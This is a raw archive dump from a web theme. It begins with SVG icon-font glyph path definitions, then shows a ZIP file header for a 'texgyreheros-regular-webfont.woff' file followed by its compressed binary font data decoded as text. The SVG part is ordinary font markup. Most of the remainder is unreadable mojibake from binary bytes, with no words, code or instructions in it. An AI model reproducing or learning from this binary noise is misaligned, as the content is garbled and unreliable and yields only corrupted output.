<glyph unicode="&#xe149;" d="M100 600v100h166q-24 49 -44 104q-10 26 -14.5 55.5t-3 72.5t25 90t68.5 87q97 88 263 88q129 0 230 -89t101 -208h-153q0 52 -34 89.5t-74 51.5t-76 14q-37 0 -79 -14.5t-62 -35.5q-41 -44 -41 -101q0 -11 2.5 -24.5t5.5 -24t9.5 -26.5t10.5 -25t14 -27.5t14 -25.5 t15.5 -27t13.5 -24h242v-100h-197q8 -50 -2.5 -115t-31.5 -94q-41 -59 -99 -113q35 11 84 18t70 7q32 1 102 -16t104 -17q76 0 136 30l50 -147q-41 -25 -80.5 -36.5t-59 -13t-61.5 -1.5q-23 0 -128 33t-155 29q-39 -4 -82 -17t-66 -25l-24 -11l-55 145l16.5 11t15.5 10 t13.5 9.5t14.5 12t14.5 14t17.5 18.5q48 55 54 126.5t-30 142.5h-221z" />
<glyph unicode="&#xe150;" d="M2 300l298 -300l298 300h-198v900h-200v-900h-198zM602 900l298 300l298 -300h-198v-900h-200v900h-198z" />
<glyph unicode="&#xe151;" d="M2 300h198v900h200v-900h198l-298 -300zM700 0v200h100v-100h200v-100h-300zM700 400v100h300v-200h-99v-100h-100v100h99v100h-200zM700 700v500h300v-500h-100v100h-100v-100h-100zM801 900h100v200h-100v-200z" />
<glyph unicode="&#xe152;" d="M2 300h198v900h200v-900h198l-298 -300zM700 0v500h300v-500h-100v100h-100v-100h-100zM700 700v200h100v-100h200v-100h-300zM700 1100v100h300v-200h-99v-100h-100v100h99v100h-200zM801 200h100v200h-100v-200z" />
<glyph unicode="&#xe153;" d="M2 300l298 -300l298 300h-198v900h-200v-900h-198zM800 100v400h300v-500h-100v100h-200zM800 1100v100h200v-500h-100v400h-100zM901 200h100v200h-100v-200z" />
<glyph unicode="&#xe154;" d="M2 300l298 -300l298 300h-198v900h-200v-900h-198zM800 400v100h200v-500h-100v400h-100zM800 800v400h300v-500h-100v100h-200zM901 900h100v200h-100v-200z" />
<glyph unicode="&#xe155;" d="M2 300l298 -300l298 300h-198v900h-200v-900h-198zM700 100v200h500v-200h-500zM700 400v200h400v-200h-400zM700 700v200h300v-200h-300zM700 1000v200h200v-200h-200z" />
<glyph unicode="&#xe156;" d="M2 300l298 -300l298 300h-198v900h-200v-900h-198zM700 100v200h200v-200h-200zM700 400v200h300v-200h-300zM700 700v200h400v-200h-400zM700 1000v200h500v-200h-500z" />
<glyph unicode="&#xe157;" d="M0 400v300q0 165 117.5 282.5t282.5 117.5h300q162 0 281 -118.5t119 -281.5v-300q0 -165 -118.5 -282.5t-281.5 -117.5h-300q-165 0 -282.5 117.5t-117.5 282.5zM200 300q0 -41 29.5 -70.5t70.5 -29.5h500q41 0 70.5 29.5t29.5 70.5v500q0 41 -29.5 70.5t-70.5 29.5 h-500q-41 0 -70.5 -29.5t-29.5 -70.5v-500z" />
<glyph unicode="&#xe158;" d="M0 400v300q0 163 119 281.5t281 118.5h300q165 0 282.5 -117.5t117.5 -282.5v-300q0 -165 -117.5 -282.5t-282.5 -117.5h-300q-163 0 -281.5 117.5t-118.5 282.5zM200 300q0 -41 29.5 -70.5t70.5 -29.5h500q41 0 70.5 29.5t29.5 70.5v500q0 41 -29.5 70.5t-70.5 29.5 h-500q-41 0 -70.5 -29.5t-29.5 -70.5v-500zM400 300l333 250l-333 250v-500z" />
<glyph unicode="&#xe159;" d="M0 400v300q0 163 117.5 281.5t282.5 118.5h300q163 0 281.5 -119t118.5 -281v-300q0 -165 -117.5 -282.5t-282.5 -117.5h-300q-165 0 -282.5 117.5t-117.5 282.5zM200 300q0 -41 29.5 -70.5t70.5 -29.5h500q41 0 70.5 29.5t29.5 70.5v500q0 41 -29.5 70.5t-70.5 29.5 h-500q-41 0 -70.5 -29.5t-29.5 -70.5v-500zM300 700l250 -333l250 333h-500z" />
<glyph unicode="&#xe160;" d="M0 400v300q0 165 117.5 282.5t282.5 117.5h300q165 0 282.5 -117.5t117.5 -282.5v-300q0 -162 -118.5 -281t-281.5 -119h-300q-165 0 -282.5 118.5t-117.5 281.5zM200 300q0 -41 29.5 -70.5t70.5 -29.5h500q41 0 70.5 29.5t29.5 70.5v500q0 41 -29.5 70.5t-70.5 29.5 h-500q-41 0 -70.5 -29.5t-29.5 -70.5v-500zM300 400h500l-250 333z" />
<glyph unicode="&#xe161;" d="M0 400v300h300v200l400 -350l-400 -350v200h-300zM500 0v200h500q41 0 70.5 29.5t29.5 70.5v500q0 41 -29.5 70.5t-70.5 29.5h-500v200h400q165 0 282.5 -117.5t117.5 -282.5v-300q0 -165 -117.5 -282.5t-282.5 -117.5h-400z" />
<glyph unicode="&#xe162;" d="M216 519q10 -19 32 -19h302q-155 -438 -160 -458q-5 -21 4 -32l9 -8l9 -1q13 0 26 16l538 630q15 19 6 36q-8 18 -32 16h-300q1 4 78 219.5t79 227.5q2 17 -6 27l-8 8h-9q-16 0 -25 -15q-4 -5 -98.5 -111.5t-228 -257t-209.5 -238.5q-17 -19 -7 -40z" />
<glyph unicode="&#xe163;" d="M0 400q0 -165 117.5 -282.5t282.5 -117.5h300q47 0 100 15v185h-500q-41 0 -70.5 29.5t-29.5 70.5v500q0 41 29.5 70.5t70.5 29.5h500v185q-14 4 -114 7.5t-193 5.5l-93 2q-165 0 -282.5 -117.5t-117.5 -282.5v-300zM600 400v300h300v200l400 -350l-400 -350v200h-300z " />
<glyph unicode="&#xe164;" d="M0 400q0 -165 117.5 -282.5t282.5 -117.5h300q163 0 281.5 117.5t118.5 282.5v98l-78 73l-122 -123v-148q0 -41 -29.5 -70.5t-70.5 -29.5h-500q-41 0 -70.5 29.5t-29.5 70.5v500q0 41 29.5 70.5t70.5 29.5h156l118 122l-74 78h-100q-165 0 -282.5 -117.5t-117.5 -282.5 v-300zM496 709l353 342l-149 149h500v-500l-149 149l-342 -353z" />
<glyph unicode="&#xe165;" d="M4 600q0 162 80 299t217 217t299 80t299 -80t217 -217t80 -299t-80 -299t-217 -217t-299 -80t-299 80t-217 217t-80 299zM186 600q0 -171 121.5 -292.5t292.5 -121.5t292.5 121.5t121.5 292.5t-121.5 292.5t-292.5 121.5t-292.5 -121.5t-121.5 -292.5zM406 600 q0 80 57 137t137 57t137 -57t57 -137t-57 -137t-137 -57t-137 57t-57 137z" />
<glyph unicode="&#xe166;" d="M0 0v275q0 11 7 18t18 7h1048q11 0 19 -7.5t8 -17.5v-275h-1100zM100 800l445 -500l450 500h-295v400h-300v-400h-300zM900 150h100v50h-100v-50z" />
<glyph unicode="&#xe167;" d="M0 0v275q0 11 7 18t18 7h1048q11 0 19 -7.5t8 -17.5v-275h-1100zM100 700h300v-300h300v300h295l-445 500zM900 150h100v50h-100v-50z" />
<glyph unicode="&#xe168;" d="M0 0v275q0 11 7 18t18 7h1048q11 0 19 -7.5t8 -17.5v-275h-1100zM100 705l305 -305l596 596l-154 155l-442 -442l-150 151zM900 150h100v50h-100v-50z" />
<glyph unicode="&#xe169;" d="M0 0v275q0 11 7 18t18 7h1048q11 0 19 -7.5t8 -17.5v-275h-1100zM100 988l97 -98l212 213l-97 97zM200 401h700v699l-250 -239l-149 149l-212 -212l149 -149zM900 150h100v50h-100v-50z" />
<glyph unicode="&#xe170;" d="M0 0v275q0 11 7 18t18 7h1048q11 0 19 -7.5t8 -17.5v-275h-1100zM200 612l212 -212l98 97l-213 212zM300 1200l239 -250l-149 -149l212 -212l149 148l248 -237v700h-699zM900 150h100v50h-100v-50z" />
<glyph unicode="&#xe171;" d="M23 415l1177 784v-1079l-475 272l-310 -393v416h-392zM494 210l672 938l-672 -712v-226z" />
<glyph unicode="&#xe172;" d="M0 150v1000q0 20 14.5 35t35.5 15h250v-300h500v300h100l200 -200v-850q0 -21 -15 -35.5t-35 -14.5h-150v400h-700v-400h-150q-21 0 -35.5 14.5t-14.5 35.5zM600 1000h100v200h-100v-200z" />
<glyph unicode="&#xe173;" d="M0 150v1000q0 20 14.5 35t35.5 15h250v-300h500v300h100l200 -200v-218l-276 -275l-120 120l-126 -127h-378v-400h-150q-21 0 -35.5 14.5t-14.5 35.5zM581 306l123 123l120 -120l353 352l123 -123l-475 -476zM600 1000h100v200h-100v-200z" />
<glyph unicode="&#xe174;" d="M0 150v1000q0 20 14.5 35t35.5 15h250v-300h500v300h100l200 -200v-269l-103 -103l-170 170l-298 -298h-329v-400h-150q-21 0 -35.5 14.5t-14.5 35.5zM600 1000h100v200h-100v-200zM700 133l170 170l-170 170l127 127l170 -170l170 170l127 -128l-170 -169l170 -170 l-127 -127l-170 170l-170 -170z" />
<glyph unicode="&#xe175;" d="M0 150v1000q0 20 14.5 35t35.5 15h250v-300h500v300h100l200 -200v-300h-400v-200h-500v-400h-150q-21 0 -35.5 14.5t-14.5 35.5zM600 300l300 -300l300 300h-200v300h-200v-300h-200zM600 1000v200h100v-200h-100z" />
<glyph unicode="&#xe176;" d="M0 150v1000q0 20 14.5 35t35.5 15h250v-300h500v300h100l200 -200v-402l-200 200l-298 -298h-402v-400h-150q-21 0 -35.5 14.5t-14.5 35.5zM600 300h200v-300h200v300h200l-300 300zM600 1000v200h100v-200h-100z" />
<glyph unicode="&#xe177;" d="M0 250q0 -21 14.5 -35.5t35.5 -14.5h1100q21 0 35.5 14.5t14.5 35.5v550h-1200v-550zM0 900h1200v150q0 21 -14.5 35.5t-35.5 14.5h-1100q-21 0 -35.5 -14.5t-14.5 -35.5v-150zM100 300v200h400v-200h-400z" />
<glyph unicode="&#xe178;" d="M0 400l300 298v-198h400v-200h-400v-198zM100 800v200h100v-200h-100zM300 800v200h100v-200h-100zM500 800v200h400v198l300 -298l-300 -298v198h-400zM800 300v200h100v-200h-100zM1000 300h100v200h-100v-200z" />
<glyph unicode="&#xe179;" d="M100 700v400l50 100l50 -100v-300h100v300l50 100l50 -100v-300h100v300l50 100l50 -100v-400l-100 -203v-447q0 -21 -14.5 -35.5t-35.5 -14.5h-200q-21 0 -35.5 14.5t-14.5 35.5v447zM800 597q0 -29 10.5 -55.5t25 -43t29 -28.5t25.5 -18l10 -5v-397q0 -21 14.5 -35.5 t35.5 -14.5h200q21 0 35.5 14.5t14.5 35.5v1106q0 31 -18 40.5t-44 -7.5l-276 -117q-25 -16 -43.5 -50.5t-18.5 -65.5v-359z" />
<glyph unicode="&#xe180;" d="M100 0h400v56q-75 0 -87.5 6t-12.5 44v394h500v-394q0 -38 -12.5 -44t-87.5 -6v-56h400v56q-4 0 -11 0.5t-24 3t-30 7t-24 15t-11 24.5v888q0 22 25 34.5t50 13.5l25 2v56h-400v-56q75 0 87.5 -6t12.5 -44v-394h-500v394q0 38 12.5 44t87.5 6v56h-400v-56q4 0 11 -0.5 t24 -3t30 -7t24 -15t11 -24.5v-888q0 -22 -25 -34.5t-50 -13.5l-25 -2v-56z" />
<glyph unicode="&#xe181;" d="M0 300q0 -41 29.5 -70.5t70.5 -29.5h300q41 0 70.5 29.5t29.5 70.5v500q0 41 -29.5 70.5t-70.5 29.5h-300q-41 0 -70.5 -29.5t-29.5 -70.5v-500zM100 100h400l200 200h105l295 98v-298h-425l-100 -100h-375zM100 300v200h300v-200h-300zM100 600v200h300v-200h-300z M100 1000h400l200 -200v-98l295 98h105v200h-425l-100 100h-375zM700 402v163l400 133v-163z" />
<glyph unicode="&#xe182;" d="M16.5 974.5q0.5 -21.5 16 -90t46.5 -140t104 -177.5t175 -208q103 -103 207.5 -176t180 -103.5t137 -47t92.5 -16.5l31 1l163 162q16 17 13 40.5t-22 37.5l-192 136q-19 14 -45 12t-42 -19l-119 -118q-143 103 -267 227q-126 126 -227 268l118 118q17 17 20 41.5 t-11 44.5l-139 194q-14 19 -36.5 22t-40.5 -14l-162 -162q-1 -11 -0.5 -32.5z" />
<glyph unicode="&#xe183;" d="M0 50v212q0 20 10.5 45.5t24.5 39.5l365 303v50q0 4 1 10.5t12 22.5t30 28.5t60 23t97 10.5t97 -10t60 -23.5t30 -27.5t12 -24l1 -10v-50l365 -303q14 -14 24.5 -39.5t10.5 -45.5v-212q0 -21 -15 -35.5t-35 -14.5h-1100q-21 0 -35.5 14.5t-14.5 35.5zM0 712 q0 -21 14.5 -33.5t34.5 -8.5l202 33q20 4 34.5 21t14.5 38v146q141 24 300 24t300 -24v-146q0 -21 14.5 -38t34.5 -21l202 -33q20 -4 34.5 8.5t14.5 33.5v200q-6 8 -19 20.5t-63 45t-112 57t-171 45t-235 20.5q-92 0 -175 -10.5t-141.5 -27t-108.5 -36.5t-81.5 -40 t-53.5 -36.5t-31 -27.5l-9 -10v-200z" />
<glyph unicode="&#xe184;" d="M100 0v100h1100v-100h-1100zM175 200h950l-125 150v250l100 100v400h-100v-200h-100v200h-200v-200h-100v200h-200v-200h-100v200h-100v-400l100 -100v-250z" />
<glyph unicode="&#xe185;" d="M100 0h300v400q0 41 -29.5 70.5t-70.5 29.5h-100q-41 0 -70.5 -29.5t-29.5 -70.5v-400zM500 0v1000q0 41 29.5 70.5t70.5 29.5h100q41 0 70.5 -29.5t29.5 -70.5v-1000h-300zM900 0v700q0 41 29.5 70.5t70.5 29.5h100q41 0 70.5 -29.5t29.5 -70.5v-700h-300z" />
<glyph unicode="&#xe186;" d="M-100 300v500q0 124 88 212t212 88h700q124 0 212 -88t88 -212v-500q0 -124 -88 -212t-212 -88h-700q-124 0 -212 88t-88 212zM100 200h900v700h-900v-700zM200 300h300v300h-200v100h200v100h-300v-300h200v-100h-200v-100zM600 300h200v100h100v300h-100v100h-200v-500 zM700 400v300h100v-300h-100z" />
<glyph unicode="&#xe187;" d="M-100 300v500q0 124 88 212t212 88h700q124 0 212 -88t88 -212v-500q0 -124 -88 -212t-212 -88h-700q-124 0 -212 88t-88 212zM100 200h900v700h-900v-700zM200 300h100v200h100v-200h100v500h-100v-200h-100v200h-100v-500zM600 300h200v100h100v300h-100v100h-200v-500 zM700 400v300h100v-300h-100z" />
<glyph unicode="&#xe188;" d="M-100 300v500q0 124 88 212t212 88h700q124 0 212 -88t88 -212v-500q0 -124 -88 -212t-212 -88h-700q-124 0 -212 88t-88 212zM100 200h900v700h-900v-700zM200 300h300v100h-200v300h200v100h-300v-500zM600 300h300v100h-200v300h200v100h-300v-500z" />
<glyph unicode="&#xe189;" d="M-100 300v500q0 124 88 212t212 88h700q124 0 212 -88t88 -212v-500q0 -124 -88 -212t-212 -88h-700q-124 0 -212 88t-88 212zM100 200h900v700h-900v-700zM200 550l300 -150v300zM600 400l300 150l-300 150v-300z" />
<glyph unicode="&#xe190;" d="M-100 300v500q0 124 88 212t212 88h700q124 0 212 -88t88 -212v-500q0 -124 -88 -212t-212 -88h-700q-124 0 -212 88t-88 212zM100 200h900v700h-900v-700zM200 300v500h700v-500h-700zM300 400h130q41 0 68 42t27 107t-28.5 108t-66.5 43h-130v-300zM575 549 q0 -65 27 -107t68 -42h130v300h-130q-38 0 -66.5 -43t-28.5 -108z" />
<glyph unicode="&#xe191;" d="M-100 300v500q0 124 88 212t212 88h700q124 0 212 -88t88 -212v-500q0 -124 -88 -212t-212 -88h-700q-124 0 -212 88t-88 212zM100 200h900v700h-900v-700zM200 300h300v300h-200v100h200v100h-300v-300h200v-100h-200v-100zM601 300h100v100h-100v-100zM700 700h100 v-400h100v500h-200v-100z" />
<glyph unicode="&#xe192;" d="M-100 300v500q0 124 88 212t212 88h700q124 0 212 -88t88 -212v-500q0 -124 -88 -212t-212 -88h-700q-124 0 -212 88t-88 212zM100 200h900v700h-900v-700zM200 300h300v400h-200v100h-100v-500zM301 400v200h100v-200h-100zM601 300h100v100h-100v-100zM700 700h100 v-400h100v500h-200v-100z" />
<glyph unicode="&#xe193;" d="M-100 300v500q0 124 88 212t212 88h700q124 0 212 -88t88 -212v-500q0 -124 -88 -212t-212 -88h-700q-124 0 -212 88t-88 212zM100 200h900v700h-900v-700zM200 700v100h300v-300h-99v-100h-100v100h99v200h-200zM201 300v100h100v-100h-100zM601 300v100h100v-100h-100z M700 700v100h200v-500h-100v400h-100z" />
<glyph unicode="&#xe194;" d="M4 600q0 162 80 299t217 217t299 80t299 -80t217 -217t80 -299t-80 -299t-217 -217t-299 -80t-299 80t-217 217t-80 299zM186 600q0 -171 121.5 -292.5t292.5 -121.5t292.5 121.5t121.5 292.5t-121.5 292.5t-292.5 121.5t-292.5 -121.5t-121.5 -292.5zM400 500v200 l100 100h300v-100h-300v-200h300v-100h-300z" />
<glyph unicode="&#xe195;" d="M0 600q0 162 80 299t217 217t299 80t299 -80t217 -217t80 -299t-80 -299t-217 -217t-299 -80t-299 80t-217 217t-80 299zM182 600q0 -171 121.5 -292.5t292.5 -121.5t292.5 121.5t121.5 292.5t-121.5 292.5t-292.5 121.5t-292.5 -121.5t-121.5 -292.5zM400 400v400h300 l100 -100v-100h-100v100h-200v-100h200v-100h-200v-100h-100zM700 400v100h100v-100h-100z" />
<glyph unicode="&#xe197;" d="M-14 494q0 -80 56.5 -137t135.5 -57h222v300h400v-300h128q120 0 205 86t85 208q0 120 -85 206.5t-205 86.5q-46 0 -90 -14q-44 97 -134.5 156.5t-200.5 59.5q-152 0 -260 -107.5t-108 -260.5q0 -25 2 -37q-66 -14 -108.5 -67.5t-42.5 -122.5zM300 200h200v300h200v-300 h200l-300 -300z" />
<glyph unicode="&#xe198;" d="M-14 494q0 -80 56.5 -137t135.5 -57h8l414 414l403 -403q94 26 154.5 104t60.5 178q0 121 -85 207.5t-205 86.5q-46 0 -90 -14q-44 97 -134.5 156.5t-200.5 59.5q-152 0 -260 -107.5t-108 -260.5q0 -25 2 -37q-66 -14 -108.5 -67.5t-42.5 -122.5zM300 200l300 300 l300 -300h-200v-300h-200v300h-200z" />
<glyph unicode="&#xe199;" d="M100 200h400v-155l-75 -45h350l-75 45v155h400l-270 300h170l-270 300h170l-300 333l-300 -333h170l-270 -300h170z" />
<glyph unicode="&#xe200;" d="M121 700q0 -53 28.5 -97t75.5 -65q-4 -16 -4 -38q0 -74 52.5 -126.5t126.5 -52.5q56 0 100 30v-306l-75 -45h350l-75 45v306q46 -30 100 -30q74 0 126.5 52.5t52.5 126.5q0 24 -9 55q50 32 79.5 83t29.5 112q0 90 -61.5 155.5t-150.5 71.5q-26 89 -99.5 145.5 t-167.5 56.5q-116 0 -197.5 -81.5t-81.5 -197.5q0 -4 1 -12t1 -11q-14 2 -23 2q-74 0 -126.5 -52.5t-52.5 -126.5z" />
</font>
</defs></svg> PK!�Yߘ`�`<bluetheme/assets/fonts/Tex/texgyreheros-regular-webfont.woffnu&1i�wOFF`��FFTM�]�"�GDEF�HVX'GPOS	��|�
GSUB��r���&OS/2
�O`k���cmap
����B*cvt d1<6fpgm��	��zAgasp�glyf�B������headW046��S�hheaWd $-ghmtxW�����(locaY���|�X�maxp[P  :�name[p�{U��post^���-^prep`���D"�webf`�J;Q��=�������x��
@@Dѿ'�)m�P��Y�H���L�NC��%R�\o#����ª���s�K�<��?x͒
�xڽ�]l����ڰ^�i��<��M�[\��T�p1�u�J��<�
"�
U���Q��rR�Y>�U0��cهnU�"�CWi-�Q�T�<tx��y�����ؤR�j�ݙ{����k	�HXޔ���m��)��;�4��㣯�&)�W2)�	I�C�R����I�;:��s�������=;��c�N�vv���,}������y]���/_�u�G�ߐ^�'�C����+d��
I5o���R.��6��|�	��I��l�;<�J��YB�5i���3�O�|������/�Q��O��.�[^W��o��U��Y_5��_����r]�*g*�T~TUS��jsUg�/����W��޵���ck��t��	G�i��F&"��Շ�OT�T��']���4FG�O�~�~t��.zA?�����H{'�q�_�����ɚj��X�C��I�*i��%3'�SZ2��fb2ȷ!0��$�{�D�I5_���3�4h�2�Oʳ�n��#�@”�1��nE‹`[ƕv��N��]���ͪ=�?�#��`L���	C�p�9�{\qp�o��m�%Y;�I�-%w�8�4��.�v6ڙ�˷>�� �`���`�I��c��Z�5�lM���>�� Ú��D�=$zH�dc��ڠ��DG-y�[a�K_�`�$}����D2�e_\��6d�H2������ގ��w�k�:���48Ÿ�� ΀�hq����@���'�Wh��k N�up7io�;�C����ȫ5���'N>��_S�M���l5<`CK�K�3�<�А��a���Ty�S�ʓ�x�C��<y0�ad�Ȃ�#���	��wX�iV�#DX5ͪiVM������a��0+���"bD��0��0��0c`L�I�.�
��}d^G�
p�	��I�ҙ���G��k�N&h��zZu�z����C@�yL�S`��v�1j�����G���- u�ʟ����t�s�|]�a�4�C�9�>V�G6��9��9f΢���k[쑭�(�?Wx���C�7��e/\��E?�}p8�m�o�q�����mc`L�I�.��`�3�4��3�,r΃YpA� /8^�y��7�}�
⒇Gy0�t�蘴>Y�չ0���#�R�1*��a�),<���d-V�ϼ�ē�����U�\�Vl�'e�x�>'��1l#6�d���
zw��w�`�a4a��|y��S�7C{Z�@�0M��aG;Ʊ��
�hb�8v4���M�Î&v�cG;���<�4��b��k��]�Q��vv�x��W�4�Kx�%��cv,���L`τ��Y{��=灕���m��v���K_�A�Cxs/�@?�1��lfa3�Yج�D����Ο��`��+�W�Q,���h�����]Nܷ`�
2F
�lS�5`k����CyN6����mיĂ���l}�&ag����EY�Z"����bd66l\�䲺7�*.l\���ؤ��01tVh�v���mUγ��`���`��	0	�;��?.���2�W�Up
�u��ji������ +�ꬼ���ʞ�$6N�m*�_O��:�1l<�ֳ�2}]x�]���$���<��&����Ds�M47��	3��NX��͢��h������V� �6(��!:�|Q,m2�M�>�u�ܧ|ͥ���ؕD�M�w.���{�0�a�#Oyە���HP{?���%�����"�/^���*�V�,�\�+-���P�s�E4V������1�K�~'��VvX�ѵO.Ɨ�3���r}���J�R^�G鰒ީ�fΒ6+�9"g�
�Jl�B�9��7�Mp|��)J����*���ΐ/a�v~�����2Le��>�K��� ����ҿ�5�-�7~��`d��)�l�j����Ld}b{��X�U�g�r<t�r��62m8;p.�U�]���,�\���x6N�Eq��\jX�`U�`U7o��>m�\=�j�],`�$}.�i��NO��R�z����̷l<��s�~z<����u}WP�ɞDG[�A�(Kج`�}_�J�-ĩf|���JE��T�z����+��Y�
;�����m�IW�'�#�7�#��_�
$�/_���S?���OW=t�,�9�n��KV��}n����J�5|x�j���/{����#YqM��V>��*����yO�:��>k�Z.g�tf*�g�\��Z��lT�����4�
�u�g>3��e%K��OUf�~'�V�̱��f����5��SQ`����/�+g�'\e��<"�I-ؼ�]Y<�	��r=*�Ĩ�R����[8-ͬԢ�Z�m=7�zn���CJ�ɨaF��d�[�2�e�O�^"u�A�SX��ܯ+d�|���J��y^��d�'d�l�/��z�K�k�F��C��yF~'�e�L�4ˤ����rQ�#�xv�<�N�ƳK�<�ɉ	�C޹�����u�_%-{�c�;��<��|�xڍRMKQ=�c��DC��p�]:E�؈H�h)��DmD_�V�Z��w�;ڔR���u�s��9��w޹������U��{T���f+�h__ R�� �a:�N���3�/fm�@|�2
s֪�Z��R������gU�[
��jRt�	�M4\dJ��.r;u��:�6K�cݫVp|��Fŭ�=�8��.��.>�\
v��,�ʨ �I�`	, ��(b��s[�%9W��Z�F��w�^�O�Mx�?�\�2C�'���#0u�f�N�'�g�8�Q���5Ek@�>�T6�(�Y��Q����+�(T��>g/�o��(ʴ7�Y�K�(`��Q��)����a�y$�=<��?g�yW�ԍ�)j����!F_�%���o^K\�x�c`ff�����������
�����|�(00�3 �Рp��,��5Xj
���x�n��0�x
]x�c```f�`F��1��,�����d�2�1�gf�`:�tG�KADAJANAIAMA_�J!^a�����,������[�U͠ � � Um	W�T�����/����W�?8�`��}v?��`Ã����?��)ԅDF6�F& ����uV6vN.n^>~A!aQ1q	I)iY9yE%eU5u
M-m]=}C#cS3sK+k[;{G'gW7wO/o_?�����а�Ȩ�ظ��D������3�-^�d���+W�Z�v��
7oݲm�=���c(JIͼ[�� �IYC�,�b��r��rjV�jL��sk�%5�N?t��[�����p����=g��y��������ľ���̙;���B��* x��ux�c`@�� �t����&�5���^��t�I��G�A��/�TxڝUiw�F��$���%u3q��Ȅ-0i*�v!]�]�,t�;�Y��)���#?��������6'G�Λ��\��cD�Oq�:T�r ���R�>���屒� n�V�)i��D�l7;�K\�v�����r��*�3%�A�£�W'� �H�4IO?I�8��(I)�8�f��� ��eJ�^����R6��â�*�Ϻ��`�r�#\�^m�q:�I��m=���Q�@*F�#��)9QR�R�Z���L~�G2��2e+*u���۶����uQ�4S��uF�l��GDy�6N'�ζ�/�LQ�v�Ͷ�1p)%3�}t�H��Xձ
�n�g��$��(Uy
�Qo �fg/.���dE���@���n��p���/X��)���Q\��EHJ�Oĉ���>�x����A\�P�"̡+�ά54^co��WJM�I�F�S�w"Y�8�G�l��k�>�Z�ݽؑ9�q��w�Y'󴘯���.��7@<��)\ڷLQ�}�e�STh�*�)�h�M1M{�5�wL1C{�H����#�9��!7��M�rӾ�ܴ 7�Bn�r�^@nZ�ܴ+Fu�4
�Χ*��id�ø��5Y5��ɻ�!�u��*�Չ/ȥ���\\wiݶ���v_�Z3ꆭ�7����0��Є��o��7u�Xs�P�A�`R(k���N ������q�9�M�R}�14}/�����{<�8�-�]ZD�u�ܘ=�[�Lu�������u�d[��1�‹��+Iy��v�%UVދ�j�|�d�pCh��=v�)My���T)J������epʃZ�ĸujk��z!�����H)]ߴ�w��k��x��t#9��Oq��(x���~tm^�n�aJ���>�S��}TV����-�5ͺFN����X�Z�@M�HU�1�1��eM���.��o�Zl�������Uw�}s��v�_e��s�Ⱥ�ڠ��\�s$�E��@얬�zg2c9�����u/��LN��
��Y�h��S���*�˖�]n�ˆ�9�v��Ghlixb��������{�]\�84r&�6]��z���jlΕD�]s�8��K�7Ǯ�|`=�ȹp��r>%��3rn|N���!�%��r�C�G�#r6�$��+rbrrn<&��	9_�C����B6����&Pj��6��k�>�}`ه�zd���K��"R����ܘP��R���_,"���v$�s����a�h��xڭ�	`G�0\�=�=�}��ܲni$�[�-ɲnK#Y��C��+�er8v���p���&�� g��H`����~�ϗ�`!vɵ����WU�==�d��s2�����իW�^#�•���DT����>-j��j���}m��<���䲖\~ZJ�_�4&�cv�=��X�����+���4BڅZ�^�1�h����xw>U92�� ��FǙz��`�͸�(}Ò�aýɄ!�N��`�]k��5�ܼ=f��&��=�y|K}�g��&�C�}i�u&�z�G�ȣ��f�D�F�D�脿����G�&�}�E��a�8���1�?�抢���m=z����9Z�~Ǖr_CE�}e�)<�B�y�_��8d3y��V�Ø4�Y{L�`0z�@֞�#��g2�ʭu�!|�f7������'�%����JK�������v9��?_L,�OL�w�~�q�ta�e9Qv������Phn������M�I�-���_�6��_��z��ţ��8��P�E���e�x�\Ul� �N�i�]�y���A�Y�*1��!�R�}#-�N
X�qk`�Wo�����v��U�=U��X)�z��H4���Bְ���8�D�;�\��.o�;;qsS$Z�����?�߸wg��a�h�[:y�@��#;N��}r}_��78�������1����"��o�Pf�_�yRܿ_8���){W�y�q0���E@�%K��g�.�ȍ
PգK�*	�8�ϒ�	�E!v�6����㢁�j�ZB3���i���cՍ}�^ ��SW�&
�{
<�P�0��M-�F��@��5�����c�E�̸U�gæk��[��r�ڎ�5kO�{�S��&W��m,�/�߻wOߞ/��5UW�ɽr%���={6��ʎ�
��(m5-��;�+FaԀ�J��-�k^�U�����ːV�ơ��l:`&��$?����(��ԃ����޷)�}< �ٚP���	nBk�Z����������8AI�v�<^Je������������r�l���Ý]�]ێO��oy��e�����!�{�w���/�=;�ײ����]ۓݲ�����V��MEUM�@����JT���|��2��4�37�$�gC��Q��(�{�a�����^TA9�c�/U� �p�2�e���X�E��|��a��1���#�Ӄ�������?��ƌ����Y��4�1�C�AMtP�+�j�j@o��6Ea[�#d���с��	t�
�5<c[Pu�f1���N��3�O[$C�E��&�vb[�3��ǽ�W���x�so���ІXgWc7�9v,�Q��ͅ�l�����WA�T%*���%!�Q����Fd��Vt~��������}��x�y:���a�M4�e�&����)B� 	y�L3�
ȑ�`��kT:��͝x�:p X0ݹ�49��]\�[aG�$
U�Q�G�ol�Y����6���76^�f����6yͤQ,S�����K�_�.�:A/���ړq��)$��R}%�1����o����8�<�Zz���X;�`OpÎ����q���
�4GT�&��`�
����4�FX������7�?Q|�ԯ>��=�z�˗����{R��X„��ОE��s��l�yy蠟�q��G�����Ʉ����Ґ�ډ�w����O�?t�kǮt�?X�K!��Q
y�y2 7�4/�׌jAx�528�J+�$�ٌ6+ܶixd1Q����U�N܅%i ���b��0vt�Α�=���/��Ȟ��">}�殦�d����v��HK$Q=�h���0�0:�X�A��p[��^�%����šr����q$��8E�3��i/ �V��*�ҭ�k���=��Uq�;L�U��Ƭi��Zb��Ok7m��2��~ߦ���n<�}e��k���>r��C�=k��w������|Գe��뎑9r ���9�W�l�*��bL4> �$#"�$m:�.?*��{�p�d��)ð���:��c]�w�?p`���/���SM×.
�����o��u�v��M6�o ������&�/d 4�����iMA:�n��h��tى���Mk��F���+����|ǡ]�/��ؼe�$�ON=[u�cwog{`����[4c� �- �����@���
�Z�8��cQ"��#d��Y�}��P08�^:���m���@W�?U�n=h�6v�n��v^۾�w�u�Ht��羻{*�z�m�7\3S���e�L��2l�u���G�2[U����D��x%�S�ws|��ů�ѱ}�en��@����x�`�a	o.T�֠��f ���XG���*mJ�=��z�!��N�E�u]�5^��U#i}[d4�ƀ�������T�o8`���c�Z{Z�=�z^:�H4�/,�7&��'w�9�ɛ��:��ָnmcӺud�D�G\�����ݷ�Ƞ���yЍ4�v� ȓ��J;��K�ӭ��GP�*&"Q�₤�Id�m�;�nJSB�7o�H�#��_�?����^�)aa�����	�������Cl��`�1�ؚe4�C��р�$jD�r$�Y��`5?N$3�tx�d�{^��g�6h3:8?*Ȋ�J
�N�4�Vb�A�t]�nB� �IǼ��0x0:��7��\0��V*�r���ޒzk~ބ�3o�1C�f/:����:��$U����6�Ȉ�	ç3���<��{��7�<y~
